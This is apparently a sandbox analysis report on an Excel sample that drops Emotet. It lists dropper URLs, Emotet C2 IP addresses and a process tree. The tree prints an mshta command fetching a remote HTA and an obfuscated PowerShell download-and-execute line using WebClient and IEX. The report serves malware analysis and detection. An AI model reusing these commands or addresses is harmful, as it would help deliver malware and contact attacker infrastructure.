Analysis

  • max time kernel
    144s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    27/01/2022, 17:14

General

  • Target
    tmp5vac5648.xls
  • Size 155KB
  • Sample220127-vr22vagcel
  • SHA256 22cf3df56279cd20c7fb8dd10cb8beded5dd4bbcc3a5d743ab01a14a7c44e3ee
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.168/zqqw/zaas/fe.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.168/zqqw/zaas/fe.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 51.15.4.22:443

  • 173.214.173.220:8080

  • 212.237.5.209:443

  • 192.254.71.210:443

  • 216.158.226.206:443

  • 162.243.175.63:443

  • 212.24.98.99:8080

  • 58.227.42.236:80

  • 45.118.115.99:8080

  • 104.251.214.46:8080

  • 185.157.82.209:8080

  • 46.55.222.11:443

  • 188.40.137.206:8080

  • 81.0.236.90:443

  • 103.75.201.2:443

  • 129.232.188.93:443

  • 195.154.133.20:443

  • 159.8.59.82:8080

  • 79.172.212.216:8080

  • 138.185.72.26:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmp5vac5648.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1448
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c mshta http://91.240.118.168/zqqw/zaas/fe.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:564
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://91.240.118.168/zqqw/zaas/fe.html
        3⤵
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Suspicious use of WriteProcessMemory
        PID:820
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.168/zqqw/zaas/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1892
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1816
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\ProgramData\QWER.dll BBDD
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:1564
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\QWER.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:1992
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jjcekseiisvnden\cmmehztwwuem.exy",IRuDUvIGyXoT
                  8⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1980
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jjcekseiisvnden\cmmehztwwuem.exy",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Suspicious behavior: EnumeratesProcesses
                    PID:1960

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1448-57-0x0000000075AE1000-0x0000000075AE3000-memory.dmp

        memory/1448-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1448-55-0x0000000071411000-0x0000000071413000-memory.dmp

        memory/1448-54-0x000000002F871000-0x000000002F874000-memory.dmp

        memory/1448-115-0x000000005FFF0000-0x0000000060000000-memory.dmp

        memory/1564-70-0x00000000001E0000-0x0000000000205000-memory.dmp

        memory/1892-63-0x0000000002510000-0x000000000315A000-memory.dmp

        memory/1892-62-0x0000000002510000-0x000000000315A000-memory.dmp

        memory/1960-99-0x00000000004C0000-0x00000000004E5000-memory.dmp

        memory/1960-103-0x00000000006F0000-0x0000000000715000-memory.dmp

        memory/1960-113-0x00000000029C0000-0x00000000029E5000-memory.dmp

        memory/1960-112-0x0000000002910000-0x0000000002935000-memory.dmp

        memory/1960-109-0x0000000002870000-0x0000000002895000-memory.dmp

        memory/1960-107-0x00000000027D0000-0x00000000027F5000-memory.dmp

        memory/1960-95-0x00000000001A0000-0x00000000001C5000-memory.dmp

        memory/1960-105-0x0000000002620000-0x0000000002645000-memory.dmp

        memory/1960-101-0x0000000000520000-0x0000000000545000-memory.dmp

        memory/1992-87-0x0000000002830000-0x0000000002855000-memory.dmp

        memory/1992-79-0x00000000003B0000-0x00000000003D5000-memory.dmp

        memory/1992-90-0x0000000002890000-0x00000000028B5000-memory.dmp

        memory/1992-81-0x0000000000510000-0x0000000000535000-memory.dmp

        memory/1992-85-0x00000000025E0000-0x0000000002605000-memory.dmp

        memory/1992-83-0x0000000000750000-0x0000000000775000-memory.dmp

        memory/1992-77-0x00000000001B0000-0x00000000001D5000-memory.dmp